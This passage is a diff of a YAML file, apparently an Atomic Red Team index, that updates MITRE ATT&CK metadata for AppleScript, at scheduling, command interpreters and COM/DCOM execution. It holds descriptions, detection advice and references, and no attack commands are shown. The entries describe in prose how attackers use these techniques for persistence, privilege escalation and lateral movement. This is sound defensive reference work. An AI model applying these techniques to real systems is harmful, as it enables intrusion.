         AppleScripts do not need to call <code>osascript</code> to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s <code>NSAppleScript</code> or <code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.
 
         Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)
-      id: attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-08-03T21:40:51.878Z'
-      created: '2020-03-09T14:07:54.329Z'
       x_mitre_contributors:
       - Phil Stokes, SentinelOne
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
         Monitor for execution of AppleScript through <code>osascript</code> and usage of the <code>NSAppleScript</code> and <code>OSAScript</code> APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
 
         Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'Process: OS API Execution'
-      x_mitre_platforms:
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1059/002
+        external_id: T1059.002
+        source_name: mitre-attack
+      - url: https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html
+        description: Apple. (2016, January 25). Introduction to AppleScript Language
+          Guide. Retrieved March 28, 2020.
+        source_name: Apple AppleScript
+      - url: https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
+        description: Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript
+          For Attacking macOS. Retrieved July 17, 2020.
+        source_name: SentinelOne AppleScript
+      - url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/
+        description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple
+          APIs Without Building Binaries. Retrieved July 17, 2020.'
+        source_name: SentinelOne macOS Red Team
+      - source_name: Macro Malware Targets Macs
+        description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs.
+          Retrieved July 8, 2017.
+        url: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/
       identifier: T1059.002
     atomic_tests:
     - name: AppleScript
@@ -63765,24 +65814,17 @@ execution:
         name: sh
   T1053.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.001
-        url: https://attack.mitre.org/techniques/T1053/001
-      - source_name: Kifarunix - Task Scheduling in Linux
-        url: https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
-        description: Koromicha. (2019, September 7). Scheduling tasks using at command
-          in Linux. Retrieved December 3, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: At (Linux)
-      description: |-
-        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
-
-        An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
-      id: attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e
       type: attack-pattern
+      name: At (Linux)
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T14:36:26.063Z'
+      created: '2019-12-03T12:59:36.749Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -63790,27 +65832,48 @@ execution:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-23T22:35:13.112Z'
-      created: '2019-12-03T12:59:36.749Z'
-      x_mitre_version: '1.0'
+      x_mitre_platforms:
+      - Linux
       x_mitre_is_subtechnique: true
+      id: attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e
+      description: |-
+        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
+
+        An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
+
+        Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)
       x_mitre_remote_support: true
       x_mitre_detection: "Monitor scheduled task creation using command-line invocation.
         Legitimate scheduled tasks may be created during installation of new software
         or through system administration functions. Look for changes to tasks that
-        do not correlate with known software, patch cycles, etc. \n\nSuspicious program
-        execution through scheduled tasks may show up as outlier processes that have
-        not been seen before when compared against historical data. Data and events
-        should not be viewed in isolation, but as part of a chain of behavior that
-        could lead to other activities, such as network connections made for Command
-        and Control, learning details about the environment through Discovery, and
-        Lateral Movement."
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Linux
+        do not correlate with known software, patch cycles, etc. \n\nReview all jobs
+        using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code>
+        and <code>SSH_CLIENT</code> variables, machines that created the jobs, are
+        trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are
+        stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at
+        2019)\n\nSuspicious program execution through scheduled tasks may show up
+        as outlier processes that have not been seen before when compared against
+        historical data. Data and events should not be viewed in isolation, but as
+        part of a chain of behavior that could lead to other activities, such as network
+        connections made for Command and Control, learning details about the environment
+        through Discovery, and Lateral Movement."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/001
+        external_id: T1053.001
+        source_name: mitre-attack
+      - url: https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
+        description: Koromicha. (2019, September 7). Scheduling tasks using at command
+          in Linux. Retrieved December 3, 2019.
+        source_name: Kifarunix - Task Scheduling in Linux
+      - url: https://gtfobins.github.io/gtfobins/at/
+        description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved
+          September 28, 2021.
+        source_name: GTFObins at
+      - url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/
+        description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address
+          from a Malicious Linux At Job. Retrieved October 15, 2021.
+        source_name: rowland linux at 2019
       identifier: T1053.001
     atomic_tests:
     - name: At - Schedule a job
@@ -63860,34 +65923,31 @@ execution:
 '
   T1053.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.002
-        url: https://attack.mitre.org/techniques/T1053/002
-      - url: https://twitter.com/leoloobeek/status/939248813465853953
-        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
-          December 12, 2017.
-        source_name: Twitter Leoloobeek Scheduled Task
-      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
-        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
-          settings. Retrieved December 12, 2017.
-        source_name: TechNet Forum Scheduled Task Operational Setting
-      - url: https://technet.microsoft.com/library/dd315590.aspx
-        description: Microsoft. (n.d.). General Task Registration. Retrieved December
-          12, 2017.
-        source_name: TechNet Scheduled Task Events
-      - source_name: Microsoft Scheduled Task Events Win10
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
-        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
-          Retrieved June 27, 2019.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: At (Windows)
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T13:43:40.776Z'
+      created: '2019-11-27T13:52:45.853Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: "Adversaries may abuse the <code>at.exe</code> utility to perform
         task scheduling for initial or recurring execution of malicious code. The
         [at](https://attack.mitre.org/software/S0110) utility exists as an executable
@@ -63900,27 +65960,7 @@ execution:
         and or to run a process under the context of a specified account (such as
         SYSTEM).\n\nNote: The <code>at.exe</code> command line utility has been deprecated
         in current versions of Windows in favor of <code>schtasks</code>."
-      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-03-24T13:43:40.776Z'
-      created: '2019-11-27T13:52:45.853Z'
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_remote_support: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
 
@@ -63936,8 +65976,31 @@ execution:
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
 
         Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/002
+        external_id: T1053.002
+        source_name: mitre-attack
+      - source_name: Twitter Leoloobeek Scheduled Task
+        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
+          December 12, 2017.
+        url: https://twitter.com/leoloobeek/status/939248813465853953
+      - source_name: TechNet Forum Scheduled Task Operational Setting
+        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
+          settings. Retrieved December 12, 2017.
+        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
+      - source_name: TechNet Scheduled Task Events
+        description: Microsoft. (n.d.). General Task Registration. Retrieved December
+          12, 2017.
+        url: https://technet.microsoft.com/library/dd315590.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
+        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
+          Retrieved June 27, 2019.
+        source_name: Microsoft Scheduled Task Events Win10
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1053.002
     atomic_tests:
     - name: At.exe Scheduled task
@@ -63957,96 +66020,87 @@ execution:
 '
   T1059:
     technique:
-      created: '2017-05-31T21:30:49.546Z'
-      modified: '2021-04-27T19:21:06.164Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      type: attack-pattern
-      revoked: false
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1059
-        url: https://attack.mitre.org/techniques/T1059
-      description: |-
-        Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-
-        There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).
-
-        Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.
+      type: attack-pattern
       name: Command and Scripting Interpreter
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830
-      x_mitre_version: '2.1'
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Process: Process Creation'
       - 'Module: Module Load'
       - 'Script: Script Execution'
+      x_mitre_version: '2.2'
+      modified: '2021-08-16T21:03:21.700Z'
+      created: '2017-05-31T21:30:49.546Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830
+      revoked: false
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Network
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+
+        There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).
+
+        Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)
+      x_mitre_remote_support: true
       x_mitre_detection: |-
         Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.
 
         If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
 
         Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Network
-      x_mitre_permissions_required:
-      - User
-      x_mitre_remote_support: false
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1059
+        external_id: T1059
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1
+        description: Microsoft. (2020, August 21). Running Remote Commands. Retrieved
+          July 26, 2021.
+        source_name: Powershell Remote Commands
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
+          History. Retrieved October 21, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Command History
+      - url: https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python
+        description: Abdou Rockikz. (2020, July). How to Execute Shell Commands in
+          a Remote Machine in Python. Retrieved July 26, 2021.
+        source_name: Remote Shell Execution in Python
     atomic_tests: []
   T1559.001:
     technique:
-      id: attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64
-      description: |-
-        Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)
-
-        Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)
-      name: Component Object Model
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1559.001
-        url: https://attack.mitre.org/techniques/T1559/001
-      - source_name: Fireeye Hunting COM June 2019
-        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
-        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
-          10, 2019.
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
-        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
-          22, 2017.
-        source_name: Microsoft COM
-      - url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
-        description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting
-          Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3,
-          2018.'
-        source_name: ProjectZero File Write EoP Apr 2018
-      - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
-        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
-          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
-        source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
-      - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
-        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
-          Application COM Object. Retrieved November 21, 2017.
-        source_name: Enigma MMC20 COM Jan 2017
       type: attack-pattern
+      name: Component Object Model
+      x_mitre_data_sources:
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-07-26T22:51:20.448Z'
+      created: '2020-02-12T14:09:53.107Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
-      modified: '2020-03-28T19:30:52.639Z'
-      created: '2020-02-12T14:09:53.107Z'
       x_mitre_platforms:
       - Windows
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      id: attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64
+      description: |-
+        Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)
+
+        Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)
+      x_mitre_remote_support: true
       x_mitre_detection: "Monitor for COM objects loading DLLs and other modules not
         typically associated with the application.(Citation: Enigma Outlook DCOM Lateral
         Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012)
@@ -64055,65 +66109,57 @@ execution:
         COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects,
         especially those invoked by a user different than the one currently logged
         on. "
-      x_mitre_data_sources:
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Script: Script Execution'
-    atomic_tests: []
-  T1175:
-    technique:
-      revoked: false
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       external_references:
-      - source_name: mitre-attack
-        external_id: T1175
-        url: https://attack.mitre.org/techniques/T1175
-      - source_name: Fireeye Hunting COM June 2019
-        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
+      - url: https://attack.mitre.org/techniques/T1559/001
+        external_id: T1559.001
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
         description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
           10, 2019.
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
+        source_name: Fireeye Hunting COM June 2019
+      - source_name: Microsoft COM
         description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
           22, 2017.
-        source_name: Microsoft COM
-      - url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
-        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
-          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
-        source_name: Microsoft COM ACL
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
-        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
-          Registry. Retrieved November 21, 2017.
-        source_name: Microsoft Process Wide Com Keys
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
-        description: Microsoft. (n.d.). Registry Values for System-Wide Security.
-          Retrieved November 21, 2017.
-        source_name: Microsoft System Wide Com Keys
-      - url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
+        url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
+      - source_name: ProjectZero File Write EoP Apr 2018
         description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting
           Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3,
           2018.'
-        source_name: ProjectZero File Write EoP Apr 2018
-      - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
+        url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
+      - source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
         description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
           CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
-        source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
-      - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
+        url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
+      - source_name: Enigma MMC20 COM Jan 2017
         description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
           Application COM Object. Retrieved November 21, 2017.
-        source_name: Enigma MMC20 COM Jan 2017
-      - url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
-        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
-          2. Retrieved November 21, 2017.'
-        source_name: Enigma DCOM Lateral Movement Jan 2017
-      - url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
-        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
-          and DCOM. Retrieved November 21, 2017.
-        source_name: Enigma Excel DCOM Sept 2017
-      - url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
-        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
-          movement via DCOM. Retrieved November 21, 2017.
-        source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
+        url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
+    atomic_tests: []
+  T1175:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Component Object Model and Distributed COM
+      x_mitre_version: '2.0'
+      modified: '2020-03-30T13:36:10.069Z'
+      created: '2018-01-16T16:13:52.465Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_deprecated: true
+      id: attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7
+      revoked: false
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
       description: "**This technique has been deprecated. Please use [Distributed
         Component Object Model](https://attack.mitre.org/techniques/T1021/003) and
         [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries
@@ -64150,78 +66196,87 @@ execution:
         (DDE) execution directly through a COM created instance of a Microsoft Office
         application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing
         the need for a malicious document."
-      name: Component Object Model and Distributed COM
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-03-30T13:36:10.069Z'
-      created: '2018-01-16T16:13:52.465Z'
-      x_mitre_deprecated: true
-      x_mitre_version: '2.0'
+      x_mitre_remote_support: true
       x_mitre_detection: |-
         Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)
 
         Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.
 
